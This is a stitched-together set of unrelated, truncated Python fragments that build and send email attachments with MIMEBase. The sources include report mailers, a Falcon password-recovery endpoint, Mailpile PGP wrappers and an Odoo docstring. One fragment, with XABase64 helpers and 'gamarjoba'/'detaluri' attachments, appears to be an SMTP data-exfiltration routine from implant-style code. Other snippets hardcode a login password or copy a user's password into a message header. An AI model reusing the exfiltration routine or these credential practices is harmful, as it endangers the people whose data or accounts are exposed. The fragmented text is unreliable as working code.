user = '******' password = '******' to = '*****@*****.**' subject = 'Daily data {}'.format(comp_name) data_attachment_path = "data/{}_RFID.csv".format(comp_name) msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = user msg['To'] = ', '.join(to) try: part = MIMEBase('application', "octet-stream") part.set_payload(open(data_attachment_path, "rb").read()) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename={}'.format(data_attachment_path)) msg.attach(part) except Exception as e: print("Attachment failed") print(e) try: server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(user, password) server.sendmail(user, to, msg.as_string()) server.close() #print("Email Sent!") except:
if not os.path.exists(path): print path, ' 目录不存在!' else: file1 = os.listdir(path) ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) for each in file1: fb1 = open(os.path.join(path, each), 'rb') doc = MIMEBase(maintype, subtype) doc.set_payload(fb1.read()) encoders.encode_base64(doc) doc.add_header('Content-Disposition', 'attachment; filename=%s' % each) fb1.close() msg.attach(doc) s = smtplib.SMTP('smtp.qq.com') user = '******' print '账号为:[email protected]' msg['From'] = user msg['To'] = user pass_ = raw_input('请输入密码:') s.login(user, pass_) if s.ehlo('hello'): print '登陆成功!' choice = raw_input('是否传递文件?("y"表示传送,其他键表示不传送):')
class MimeEncryptingWrapper(MimeWrapper): CONTAINER_TYPE = 'multipart/encrypted' CONTAINER_PARAMS = () ENCRYPTION_TYPE = 'application/x-encrypted' ENCRYPTION_VERSION = 0 def __init__(self, *args, **kwargs): MimeWrapper.__init__(self, *args, **kwargs) self.version = MIMEBase(*self.ENCRYPTION_TYPE.split('/')) self.version.set_payload('Version: %s\n' % self.ENCRYPTION_VERSION) for h, v in (("Content-Disposition", "attachment"), ): self.version.add_header(h, v) self.enc_data = MIMEBase('application', 'octet-stream') for h, v in (("Content-Disposition", "attachment; filename=\"msg.asc\""), ): self.enc_data.add_header(h, v) self.attach(self.version) self.attach(self.enc_data) def _encrypt(self, message_text, tokeys=None, armor=False): return self.crypto().encrypt(message_text, tokeys=tokeys, armor=True) def _update_crypto_status(self, part): part.encryption_info.part_status = 'decrypted' def wrap(self, msg, prefer_inline=False): to_keys = set(self.get_keys(self.recipients + [self.sender])) if prefer_inline: prefer_inline = self.get_only_text_part(msg) else: prefer_inline = False if prefer_inline is not False: message_text = Normalize(prefer_inline.get_payload(None, True)) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: _update_text_payload(prefer_inline, enc) self._update_crypto_status(prefer_inline) return msg else: msg = self.prepare_wrap(msg) if self.cleaner: self.cleaner(msg) message_text = self.flatten(msg) status, enc = self._encrypt(message_text, tokeys=to_keys, armor=True) if status == 0: self.enc_data.set_payload(enc) self._update_crypto_status(self.enc_data) return self.container raise EncryptionFailureError(_('Failed to encrypt message!'), to_keys)
class MimeSigningWrapper(MimeWrapper): CONTAINER_TYPE = 'multipart/signed' CONTAINER_PARAMS = () SIGNATURE_TYPE = 'application/x-signature' SIGNATURE_DESC = 'Abstract Digital Signature' def __init__(self, *args, **kwargs): MimeWrapper.__init__(self, *args, **kwargs) name = 'signature.html' if self.use_html_wrapper else 'signature.asc' self.sigblock = MIMEBase(*self.SIGNATURE_TYPE.split('/')) self.sigblock.set_param("name", name) for h, v in (("Content-Description", self.SIGNATURE_DESC), ("Content-Disposition", "attachment; filename=\"%s\"" % name)): self.sigblock.add_header(h, v) def _wrap_sig_in_html(self, sig): return ( "<html><body><h1>%(title)s</h1><p>\n\n%(description)s\n\n</p>" "<pre>\n%(sig)s\n</pre><hr>" "<i><a href='%(ad_url)s'>%(ad)s</a>.</i></body></html>" ) % self._wrap_sig_in_html_vars(sig) def _wrap_sig_in_html_vars(self, sig): return { # FIXME: We deliberately do not flag these messages for i18n # translation, since we rely on 7-bit content here so as # not to complicate the MIME structure of the message. "title": "Digital Signature", "description": ( "This is a digital signature, which can be used to verify\n" "the authenticity of this message. You can safely discard\n" "or ignore this file if your e-mail software does not\n" "support digital signatures."), "ad": "Generated by Mailpile", "ad_url": "https://www.mailpile.is/", # FIXME: Link to help? "sig": sig} def _update_crypto_status(self, part): part.signature_info.part_status = 'verified' def wrap(self, msg, prefer_inline=False): from_key = self.get_keys([self.sender])[0] if prefer_inline: prefer_inline = self.get_only_text_part(msg) else: prefer_inline = False if prefer_inline is not False: message_text = Normalize(prefer_inline.get_payload(None, True) .strip() + '\r\n\r\n') status, sig = self.crypto().sign(message_text, fromkey=from_key, clearsign=True, armor=True) if status == 0: _update_text_payload(prefer_inline, sig) self._update_crypto_status(prefer_inline) return msg else: msg = self.prepare_wrap(msg) self.attach(msg) self.attach(self.sigblock) message_text = self.flatten(msg) status, sig = self.crypto().sign(message_text, fromkey=from_key, armor=True) if status == 0: if self.use_html_wrapper: sig = self._wrap_sig_in_html(sig) self.sigblock.set_payload(sig) self._update_crypto_status(self.container) return self.container raise SignatureFailureError(_('Failed to sign message!'), from_key)
def on_post(self, req, resp, *args, **kwargs): super(ResourceAccountRecovery, self).on_post(req, resp, *args, **kwargs) email = req.media["email"] code = ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase + string.digits, k=6)) try: aux_user = self.db_session.query(User).filter(User.email == email).one() aux_user.recovery_code = code self.db_session.add(aux_user) self.db_session.commit() # Enviar mail smtp_server = "smtp.gmail.com" sender_email = "*****@*****.**" password = "******" html = """\ <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Password Reset</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> /** * Google webfonts. Recommended to include the .woff version for cross-client compatibility. */ @media screen { @font-face { font-family: 'Source Sans Pro'; font-style: normal; font-weight: 400; src: local('Source Sans Pro Regular'), local('SourceSansPro-Regular'), url(https://fonts.gstatic.com/s/sourcesanspro/v10/ODelI1aHBYDBqgeIAH2zlBM0YzuT7MdOe03otPbuUS0.woff) format('woff'); } @font-face { font-family: 'Source Sans Pro'; font-style: normal; font-weight: 700; src: local('Source Sans Pro Bold'), local('SourceSansPro-Bold'), url(https://fonts.gstatic.com/s/sourcesanspro/v10/toadOcfmlt9b38dHJxOBGFkQc6VGVFSmCnC_l7QZG60.woff) format('woff'); } } /** * Avoid browser level font resizing. * 1. Windows Mobile * 2. iOS / OSX */ body, table, td, a { -ms-text-size-adjust: 100%; /* 1 */ -webkit-text-size-adjust: 100%; /* 2 */ } /** * Remove extra space added to tables and cells in Outlook. */ table, td { mso-table-rspace: 0pt; mso-table-lspace: 0pt; } /** * Better fluid images in Internet Explorer. */ img { -ms-interpolation-mode: bicubic; } /** * Remove blue links for iOS devices. */ a[x-apple-data-detectors] { font-family: inherit !important; font-size: inherit !important; font-weight: inherit !important; line-height: inherit !important; color: inherit !important; text-decoration: none !important; } /** * Fix centering issues in Android 4.4. */ div[style*="margin: 16px 0;"] { margin: 0 !important; } body { width: 100% !important; height: 100% !important; padding: 0 !important; margin: 0 !important; } /** * Collapse table borders to avoid space between cells. */ table { border-collapse: collapse !important; } a { color: #1a82e2; } img { height: auto; line-height: 100%; text-decoration: none; border: 0; outline: none; } </style> </head> <body style="background-color: #e9ecef;"> <!-- start preheader --> <div class="preheader" style="display: none; max-width: 0; max-height: 0; overflow: hidden; font-size: 1px; line-height: 1px; color: #fff; opacity: 0;"> Here you have your code! </div> <!-- end preheader --> <!-- start body --> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <!-- start logo --> <tr> <td align="center" bgcolor="#e9ecef"> <!--[if (gte mso 9)|(IE)]> <table align="center" border="0" cellpadding="0" cellspacing="0" width="600"> <tr> <td align="center" valign="top" width="600"> <![endif]--> <table border="0" cellpadding="0" cellspacing="0" width="100%" style="max-width: 600px;"> <tr> <td align="center" valign="top" style="padding: 36px 24px;"> <a href="https://agamers825980105.wordpress.com" target="_blank" style="display: inline-block;"> <img src="cid:0" alt="Logo" border="0" width="48" style="display: block; width: 48px; max-width: 48px; min-width: 48px;"> </a> </td> </tr> </table> <!--[if (gte mso 9)|(IE)]> </td> </tr> </table> <![endif]--> </td> </tr> <!-- end logo --> <!-- start hero --> <tr> <td align="center" bgcolor="#e9ecef"> <!--[if (gte mso 9)|(IE)]> <table align="center" border="0" cellpadding="0" cellspacing="0" width="600"> <tr> <td align="center" valign="top" width="600"> <![endif]--> <table border="0" cellpadding="0" cellspacing="0" width="100%" style="max-width: 600px;"> <tr> <td align="left" bgcolor="#ffffff" style="padding: 36px 24px 0; font-family: 'Source Sans Pro', Helvetica, Arial, sans-serif; border-top: 3px solid #d4dadf;"> <h1 style="margin: 0; font-size: 32px; font-weight: 700; letter-spacing: -1px; line-height: 48px;">Reset Your Password</h1> </td> </tr> </table> <!--[if (gte mso 9)|(IE)]> </td> </tr> </table> <![endif]--> </td> </tr> <!-- end hero --> <!-- start copy block --> <tr> <td align="center" bgcolor="#e9ecef"> <!--[if (gte mso 9)|(IE)]> <table align="center" border="0" cellpadding="0" cellspacing="0" width="600"> <tr> <td align="center" valign="top" width="600"> <![endif]--> <table border="0" cellpadding="0" cellspacing="0" width="100%" style="max-width: 600px;"> <!-- start copy --> <tr> <td align="left" bgcolor="#ffffff" style="padding: 24px; font-family: 'Source Sans Pro', Helvetica, Arial, sans-serif; font-size: 16px; line-height: 24px;"> <p style="margin: 0;">Please, copy the code below to the recovery password screen in your application and then set the new password.</p> <p style="margin: 0;">Code: {{code}}</p> </td> </tr> <!-- end copy --> </table> <!--[if (gte mso 9)|(IE)]> </td> </tr> </table> <![endif]--> </td> </tr> <!-- end copy block --> </table> <!-- end body --> </body> """ msgRoot = MIMEMultipart('alternative') msgRoot["Subject"] = 'Agamers recovery account instructions' msgRoot["From"]: sender_email msgRoot["To"]: email msgRoot.preamble = '=====================================================' msgAlternative = MIMEMultipart('alternative') msgRoot.attach(msgAlternative) image = "resources/imatges/logo.png" logo = os.path.join(os.getcwd(), image) # to add an attachment is just add a MIMEBase object to read a picture locally. with open(logo, 'rb') as f: # set attachment mime and file name, the image type is png mime = MIMEBase('image', 'png', filename='logo') # add required header data: mime.add_header('Content-Disposition', 'attachment', filename='logo') mime.add_header('X-Attachment-Id', '0') mime.add_header('Content-ID', '<0>') # read attachment file content into the MIMEBase object mime.set_payload(f.read()) # encode with base64 encoders.encode_base64(mime) msgRoot.attach(mime) msgRoot.attach(MIMEText( Environment().from_string(html).render( code=code, logo="0" ), "html") ) try: server = smtplib.SMTP_SSL(smtp_server, 465) server.login(sender_email, password) server.sendmail(sender_email, email, msgRoot.as_string()) server.quit() except Exception as e: print(e) except NoResultFound: resp.status = falcon.HTTP_200 resp.status = falcon.HTTP_200
file.write("{:>3}{:>20}{:>20}{:>20}{:>20}{}".format(x + 1, data[x][0], "-", "-", "-", "\n")) file.close() #send e-mail attachment fromaddr = "" passwd = "" toaddr = fromaddr msg = MIMEMultipart() msg['Subject'] = "Homestead Roofing gas report: " + filename body = "Attached is the gas report for " + filename + "\n\n-Frankie" msg.attach(MIMEText(body, 'plain')) attachment = open(report_file, "rb") part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= %s" % report_file) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(fromaddr, passwd) text = msg.as_string() server.sendmail(fromaddr, fromaddr, text) server.quit()
def delivering(s_from, s_to): ''' s_from: (smtp, account, password, nickname, greeting) s_to: (to, subject, body, attachments) ''' #+---- logging ---+ print("logging to", logging_file) logging.info('''\ Now delivering.. +------------------------------+ from: {0} <{1}> to: {3} subject: {4} content: >> {2}, {5} >> attachments: {6} +------------------------------+ '''.format(s_from['nickname'], s_from['account'], s_from['greeting'], s_to['to'], s_to['subject'], s_to['body'], s_to['attachments'])) # email header m = MIMEMultipart() m['From'] = '{0} <{1}>'.format(s_from['nickname'], s_from['account']) m['To'] = ';'.join(s_to['to']) m['Subject'] = s_to['subject'] # email body content = MIMEText(''' {0}, {1} '''.format(s_from['greeting'], s_to['body']), 'plain', 'utf-8') m.attach(content) # email attachments for filename in s_to['attachments']: with open(filename, 'rb') as f: addon = MIMEBase('application', 'octet-stream') addon.set_payload(f.read()) encoders.encode_base64(addon) addon.add_header('Content-Disposition', 'attachment; \ filename="{0}"'.format(os.path.basename(filename))) m.attach(addon) # send email svr = smtplib.SMTP(s_from['smtp']) try: #svr.connect(s_from['smtp']) # error accurred with python > 3.4 ! svr.ehlo() svr.starttls() svr.ehlo() #svr.set_debuglevel(1) svr.login(s_from['account'], s_from['password']) svr.sendmail(s_from['account'], s_to['to'], m.as_string()) retval = 0 except KeyboardInterrupt: print('[*] operation aborted!') retval = -1 except Exception as err: print('[*] delivering err: {0}'.format(err), file=sys.stderr) #+---- logging ---+ logging.warning('delivering: {0}'.format(err)) retval = -2 finally: svr.quit() #+---- logging ---+ logging.info("mailman code: {0}".format(retval)) return retval
email_password = '******' #Sender's email acc password email_send = '*****@*****.**' #Receipient email subject = 'Python Email Sending Project' #Email Subject msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_send msg['Subject'] = subject body = 'Hi there, sending this email from Python!' msg.attach(MIMEText(body,'plain')) filename='filename' attachment =open(filename,'rb') part = MIMEBase('application','octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition',"attachment; filename= "+filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.gmail.com',587) server.starttls() server.login(email_user,email_password) server.sendmail(email_user,email_send,text) server.quit()
def __init__(self, images, body, archive=False): self.on = True self.gmail = smtplib.SMTP('smtp.gmail.com', 587) self.gmail.starttls() self.gmail.login('*****@*****.**', 'piclock1226') self.max_file_size = 25165824 # 25MB self.msg = MIMEMultipart() self.msg['Subject'] = 'PyClock Alert' self.msg['From'] = '*****@*****.**' self.msg['To'] = '*****@*****.**' self.msg.preamble = 'Alert from home PiClock' self.msg.attach(MIMEText(body, 'plain')) if archive: attachment = MIMEBase('application', 'zip') self.zip_file_name = self.date_stamp() + '.txt' self.tmp = tempfile.TemporaryFile(prefix=self.date_stamp(), suffix='.txt') self.zip_file = zipfile.ZipFile(self.tmp, 'w', zipfile.ZIP_LZMA) current_size = 0 for image in images: if not self.on: return self.__close() current_size += os.path.getsize(image) # 25MB file size if current_size > self.max_file_size: print( self.time_stamp() + ' Size limit will exceed, no more images will be archived' ) break else: print(self.time_stamp() + ' Archiving file {} - {}'.format( i, ntpath.basename(image))) self.zip_file.write(image, ntpath.basename(image)) self.zip_file.close() self.tmp.seek(0) attachment.set_payload(self.tmp.read()) self.tmp.close() encoders.encode_base64(attachment) attachment.add_header('Content-Disposition', 'attachment', filename=self.zip_file_name) self.msg.attach(attachment) else: for image in images: if not self.on: return self.__close() with open(image, 'rb') as fp: attachment = MIMEImage(fp.read()) fp.close() attachment.add_header( 'Content-Disposition', 'attachment: filename=' + ntpath.basename(image)) self.msg.attach(attachment) if not self.on: return self.__close() self.gmail.send_message(self.msg) self.__close()
'*****@*****.**' ] subject = 'Odyssey Outreach Bot: Odyssey Hack' msg = MIMEMultipart() msg['From'] = '*****@*****.**' msg['To'] = '*****@*****.**' msg['Bcc'] = ", ".join(email_send) msg['Subject'] = subject print(len(email_send)) print(", ".join(email_send)) body = 'Hi there, This is an auto-generated message from Odyssey Outreach Bot.\n The following is a message from Erfan Al-Hossami, The President of Odyssey Outreach at UNC Charlotte.\n Please be sure to join us this Friday for Odyssey Outreach\'s: Odyssey Hack! \n More information can be found in the attached flyer. \nTo RSVP please be sure to join the following Discord server: https://discord.gg/9wRhYMB ' + '\n If you have any questions please do not hesistate to contact us at: [email protected]!\n Regards,\nOdyssey Bot' msg.attach(MIMEText(body, 'plain')) filename = 'C:\\Users\\Zero\\Downloads\\odyssey hack.pdf' attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= " + 'flyer.pdf') msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(email_user, email_password) server.sendmail(email_user, email_send, text) server.quit()
#ajouter du corps a l' e-mail message.attach(MIMEText(body, "plain")) filename = "test.txt" #filename = "/var/log/nginx/access.log" #Le fichier qu'on va envoyer #ouvrir le fichier pdf en binaire with open(filename, "rb") as attachement: #ajouter un fichier comme application/octet-stream #le client de messagerie peut generalement le telecharger automatiquement en tant que piece jointe part = MIMEBase("application", "octet-stream") part.set_payload(attachement.read()) #encoder le fichier en caracteres ASCII a envoyer par email encoders.encode_base64(part) #ajouter un en-tete comme paire key/value a la piece jointe part.add_header( "Content-Disposition", f"attachement; filename={filename}" ) #ajouter une piece jointe au message et convertir le message en chaine message.attach(part) text = message.as_string() #connectez-vous au serveur en utilisant un context securise et envoyer un e-mail context = ssl.create_default_context() with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server: server.login(sender_mail, password) server.sendmail(sender_mail, message['To'].split(","), text) server.quit()
def TransformOutgoing(self, sender, rcpts, msg, **kwargs): matched = False gnupg = None sender_keyid = None # Prefer to just get everything from the profile VCard, in the # common case... profile = self.config.vcards.get_vcard(sender) if profile: sender_keyid = profile.pgp_key crypto_format = profile.crypto_format or 'none' else: crypto_format = 'none' # Parse the openpgp_header data from the crypto_format openpgp_header = [ p.split(':')[-1] for p in crypto_format.split('+') if p.startswith('openpgp_header:') ] if not openpgp_header: openpgp_header = self.config.prefs.openpgp_header and ['CFG'] if openpgp_header[0] != 'N' and not sender_keyid: # This is a fallback: this shouldn't happen much in normal use try: gnupg = gnupg or GnuPG(self.config) seckeys = dict([ (uid["email"], fp) for fp, key in gnupg.list_secret_keys().iteritems() if key["capabilities_map"].get("encrypt") and key["capabilities_map"].get("sign") for uid in key["uids"] ]) sender_keyid = seckeys.get(sender) except (KeyError, TypeError, IndexError, ValueError): traceback.print_exc() if sender_keyid and openpgp_header: preference = { 'ES': 'signencrypt', 'SE': 'signencrypt', 'E': 'encrypt', 'S': 'sign', 'N': 'unprotected', 'CFG': self.config.prefs.openpgp_header }[openpgp_header[0].upper()] msg["OpenPGP"] = ("id=%s; preference=%s" % (sender_keyid, preference)) if ('attach-pgp-pubkey' in msg and msg['attach-pgp-pubkey'][:3].lower() in ('yes', 'tru')): gnupg = gnupg or GnuPG(self.config) if sender_keyid: keys = gnupg.list_keys(selectors=[sender_keyid]) else: keys = gnupg.address_to_keys(ExtractEmails(sender)[0]) key_count = 0 for fp, key in keys.iteritems(): if not any(key["capabilities_map"].values()): continue # We should never really hit this more than once. But if we # do, should still be fine. keyid = key["keyid"] data = gnupg.get_pubkey(keyid) try: from_name = key["uids"][0]["name"] filename = _('Encryption key for %s.asc') % from_name except: filename = _('My encryption key.asc') att = MIMEBase('application', 'pgp-keys') att.set_payload(data) encoders.encode_base64(att) del att['MIME-Version'] att.add_header('Content-Id', MakeContentID()) att.add_header('Content-Disposition', 'attachment', filename=filename) att.signature_info = SignatureInfo(parent=msg.signature_info) att.encryption_info = EncryptionInfo( parent=msg.encryption_info) msg.attach(att) key_count += 1 if key_count > 0: msg['x-mp-internal-pubkeys-attached'] = "Yes" return sender, rcpts, msg, matched, True
msg = MIMEMultipart('alternative') msg['Date'] = datetime.utcnow().isoformat() msg['Subject'] = res_body msg['From'] = SMTP_FROM_ADDR msg['To'] = SMTP_TO_ADDR print "SMTP_MSG: %s" % msg # load attach _attach = MIMEBase('application', 'octet-stream') _attach.set_payload(res_body) # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ # XABase64.random_string(XABase64.generate_int(2, 4)) _attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat' % time.strftime("%d%m%Y%H%M")) # text _text = MIMEText('gamarjoba') msg.attach(_text) msg.attach(_attach) ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) print "\n" + "=" * 40 print "MSG SMTP: %s" % str(msg) print "\n" + "=" * 40 print 'SMTP: Data %s is sent' % res_body smtp.quit() time.sleep(0.1)
#The mail addresses and password sender_address = '*****@*****.**' sender_pass = '******' receiver_address = '*****@*****.**' #Setup the MIME message = MIMEMultipart() message['From'] = sender_address message['To'] = receiver_address message['Subject'] = 'Log file generated by Monitor Service' #The subject line #The body and the attachments for the mail message.attach(MIMEText(mail_content, 'plain')) attach_file_name = 'log.txt' attach_file = open(attach_file_name, 'rb') # Open the file as binary mode payload = MIMEBase('application', 'octate-stream', Name=attach_file_name) payload.set_payload((attach_file).read()) encoders.encode_base64(payload) #encode the attachment #add payload header with filename payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name) message.attach(payload) #Create SMTP session for sending the mail session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port session.starttls() #enable security session.login(sender_address, sender_pass) #login with mail_id and password text = message.as_string() session.sendmail(sender_address, receiver_address, text) session.quit() print('Log file has Sent to ' + receiver_address)
def main(sender, recipients, subject, body, is_reminder, reminder_mails, reminder_numbers): global data chk_folder = Path('inbox_attachment_dir') if (chk_folder.is_dir()): print("The folder is available") else: print("The folder is not available") gmail_password = '******' #recipients = ['*****@*****.**','*****@*****.**','*****@*****.**','*****@*****.**'] email_sent = dbcreate() # Create the enclosing (outer) message outer = MIMEMultipart() outer['Subject'] = subject outer['From'] = sender outer['Message-ID'] = email.utils.make_msgid() outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' # List of attachments attachments = [] attachments_folder_name = subject + str(outer['Message-ID']) # Add the attachments to the message for file in attachments: try: with open(file, 'rb') as fp: msg = MIMEBase('application', "octet-stream") msg.set_payload(fp.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) outer.attach(msg) except: print("Unable to open one of the attachments. Error: ", sys.exc_info()[0]) raise ''' try: with open(file,'rb') as fp: ''' # Send the email try: with smtplib.SMTP('smtp.gmail.com', 587) as s: s.ehlo() s.starttls() s.ehlo() s.login(sender, gmail_password) for recipient in recipients: outer['To'] = recipient outer.attach(MIMEText(body, "html")) composed = outer.as_string() s.sendmail(sender, recipient, composed) del (outer['To']) s.close() print("Email sent!") #re = datetime.datetime.now() + datetime.timedelta(minutes=1) #re = re.timestamp()*1000 email_sent.insert_one({ 'to': recipients, 'from': sender, 'subject': outer['Subject'], 'MessageID': str(outer['Message-ID']), 'DateTime': datetime.datetime.now(), 'time': time.time(), 'attachments': attachments, 'message': body, #'reminder':re, 'reminder': data, 'reminder_mails': reminder_mails, 'reminder_numbers': reminder_numbers, 'is_reminder': is_reminder }) except: print("Unable to send the email. Error: ", sys.exc_info()[0]) raise
def send_html_email(sender_email, password, sender_name, receiver_email, subj, html_part='\n', file_attach=[], img_file=''): message = MIMEMultipart("html") #alternative message.set_charset('utf8') message["Subject"] = subj message["From"] = sender_name header_str_tmp_main = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\n' header_str_tmp_main += '<html xmlns="https://www.w3.org/1999/xhtml">\n' header_str_tmp_main += """ <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0 " /> </head> <body> """ if img_file != '': cas = check_att_size(img_file) if len(cas) > 20: return h_head, t_tail = os.path.split( img_file ) #<div style='width:1286px;height:836px'> </div>width:1456px;height:929px #width='1456px' height='929px' width='100%' height='100%' img_html = header_str_tmp_main + "<img src='cid:image1' alt='" + t_tail + "' title='" + t_tail + "'>" + '</body></html>' # msgText = MIMEText("<img src='cid:image1' alt='"+t_tail+"' title='"+t_tail+"'>", 'html')#width=80% height=80% #1456 x 929 msgText = MIMEText(img_html, 'html') #width=80% height=80% #1456 x 929 message.attach(msgText) try: fp = open(img_file, 'rb') msgImage = MIMEImage(fp.read()) fp.close() msgImage.add_header('Content-ID', '<image1>') msgImage.add_header('Content-Disposition', 'inline', filename=t_tail) #, 'inline', filename= message.attach(msgImage) except: pass else: part2 = MIMEText(html_part, "html") message.attach(part2) if len(file_attach) > 0: for file in file_attach: h_head, t_tail = os.path.split(file) part_file = MIMEBase( 'application', 'octet-stream' ) #MIMEBase('multipart', 'mixed; name=%s' % t_tail) #MIMEBase('application', 'octet-stream') part_file.set_payload(open(file, 'rb').read()) encoders.encode_base64(part_file) part_file.add_header('Content-Disposition', 'attachment; filename="%s"' % t_tail) message.attach(part_file) context = ssl.create_default_context() with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server: server.login(sender_email, password) server.send_message(message, sender_email, receiver_email) # ','.join(receiver_email) server.close()
def mail(toaddr, body, fromaddr, pd): #fromaddr = "*****@*****.**" # toaddr = "*****@*****.**" # instance of MIMEMultipart msg = MIMEMultipart() # storing the senders email address msg['From'] = fromaddr # storing the receivers email address msg['To'] = toaddr # storing the subject msg['Subject'] = "Safe EC" # msg['Subject'] = subject # string to store the body of the mail # body = "Body_of_the_mail" # attach the body with the msg instance msg.attach(MIMEText(body, 'plain')) # open the file to be sent filename = "encrypted.dat" attachment = open(r'encrypted.dat', "rb") # instance of MIMEBase and named as p p = MIMEBase('application', 'octet-stream') # To change the payload into encoded form p.set_payload((attachment).read()) # encode into base64 encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # attach the instance 'p' to instance 'msg' msg.attach(p) # creates SMTP session s = smtplib.SMTP('smtp.gmail.com', 587) # start TLS for security s.starttls() # Authentication #s.login(fromaddr, "8289813879") # storing the senders email password msg['Password'] = pd # Converts the Multipart msg into a string text = msg.as_string() # Authentication s.login(fromaddr, pd) # sending the mail s.sendmail(fromaddr, toaddr, text) # terminating the session s.quit()
def send_email_with_xlsx_to_customer(group_of_e_mails, table): '''group_of_e_mails -- e-mails of service owners (only emails)''' names = db_cur.execute( "SELECT SERVICE_OWNERS FROM SERVER_OWNERS_EMAILS WHERE CONTACT_EMAILS=:e_mails LIMIT 1", { 'e_mails': group_of_e_mails }).fetchone()[0].split(",") final_names = [n.split(' ')[0] for n in names] if len(final_names) > 1: final_names = ', '.join(final_names[:-1]) + " and " + final_names[-1] else: final_names = final_names[0] mail_body = "<html><head><meta charset='UTF-8'></head><body>\ <p>Dear {names},</p>\ Please see below the list of the Linux servers under your responsibility, with the exact patching schedule for each of them.\ <br>The list of updates is attached to this email.\ <p>{table}</p>\ <br>In case any clarifications or schedule corrections are required, please <b>REPLY ALL.</b>\ <br>If you start experiencing any issues after the patching date, please create an incident for <b>{itsm_group}</b> group.\ {sign}</body></html>".format(names=final_names, sign=settings["sign"], table=table, itsm_group=settings['itsm_group']) msg = MIMEMultipart('related') msg_a = MIMEMultipart('alternative') msg.attach(msg_a) part2 = MIMEText(mail_body, 'html') msg_a.attach(part2) part3 = MIMEBase('application', "octet-stream") part3.set_payload(open('/tmp/patching_list.xlsx', "rb").read()) encoders.encode_base64(part3) part3.add_header('Content-Disposition', 'attachment', filename='patching_list.xlsx') msg_a.attach(part3) logo = open('../images/VRFwMw2.png', 'rb') part4 = MIMEImage(logo.read()) logo.close() part4.add_header('Content-ID', '<logo>') msg.attach(part4) msg['Subject'] = "Upcoming Linux patching -- {month} | RFC {rfc_number}".format( month=today.strftime("%B"), rfc_number=rfc_number) msg['From'] = settings['email_from'] msg['To'] = group_of_e_mails msg['Cc'] = settings['e_mail_cc'] try: s = smtplib.SMTP(settings['smtp_server']) s.sendmail( msg['From'], group_of_e_mails.split(",") + settings['e_mail_cc'].split(','), msg.as_string()) s.quit() termcolor.cprint('E_mail was sent correctly to {e_mails}!'.format( e_mails=msg['To']), color="white", on_color="on_green") except: termcolor.cprint( "Can not send the e-mail to {e_mails} first time, trying again...". format(e_mails=msg['To']), color="red", on_color="on_white") try: s = smtplib.SMTP(settings['smtp_server']) s.sendmail( msg['From'], group_of_e_mails.split(",") + settings['e_mail_cc'].split(','), msg.as_string()) s.quit() termcolor.cprint('E_mail was sent correctly in this time!', color="white", on_color="on_green") except Exception as e: termcolor.cprint( 'Error occured during sendig e-mail again... Skipping this message. Exception: {ex} ' .format(ex=str(e)), color='red', on_color='on_white') logging.warning("Can not send the e-mail to {e_mails}".format( e_mails=msg['To'])) input("Please, enter any symbol to proceed...")
def build_email(self, email_from, email_to, subject, body, email_cc=None, email_bcc=None, reply_to=False, attachments=None, message_id=None, references=None, object_id=False, subtype='plain', headers=None, body_alternative=None, subtype_alternative='plain'): """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it. :param string email_from: sender email address :param list email_to: list of recipient addresses (to be joined with commas) :param string subject: email subject (no pre-encoding/quoting necessary) :param string body: email body, of the type ``subtype`` (by default, plaintext). If html subtype is used, the message will be automatically converted to plaintext and wrapped in multipart/alternative, unless an explicit ``body_alternative`` version is passed. :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative`` :param string reply_to: optional value of Reply-To header :param string object_id: optional tracking identifier, to be included in the message-id for recognizing replies. Suggested format for object-id is "res_id-model", e.g. "12345-crm.lead". :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'), must match the format of the ``body`` parameter. Default is 'plain', making the content part of the mail "text/plain". :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain' or 'html'). Default is 'plain'. :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string containing the bytes of the attachment :param list email_cc: optional list of string values for CC header (to be joined with commas) :param list email_bcc: optional list of string values for BCC header (to be joined with commas) :param dict headers: optional map of headers to set on the outgoing mail (may override the other headers, including Subject, Reply-To, Message-Id, etc.) :rtype: email.message.Message (usually MIMEMultipart) :return: the new RFC2822 email message """ email_from = email_from or tools.config.get('email_from') assert email_from, "You must either provide a sender address explicitly or configure "\ "a global sender address in the server 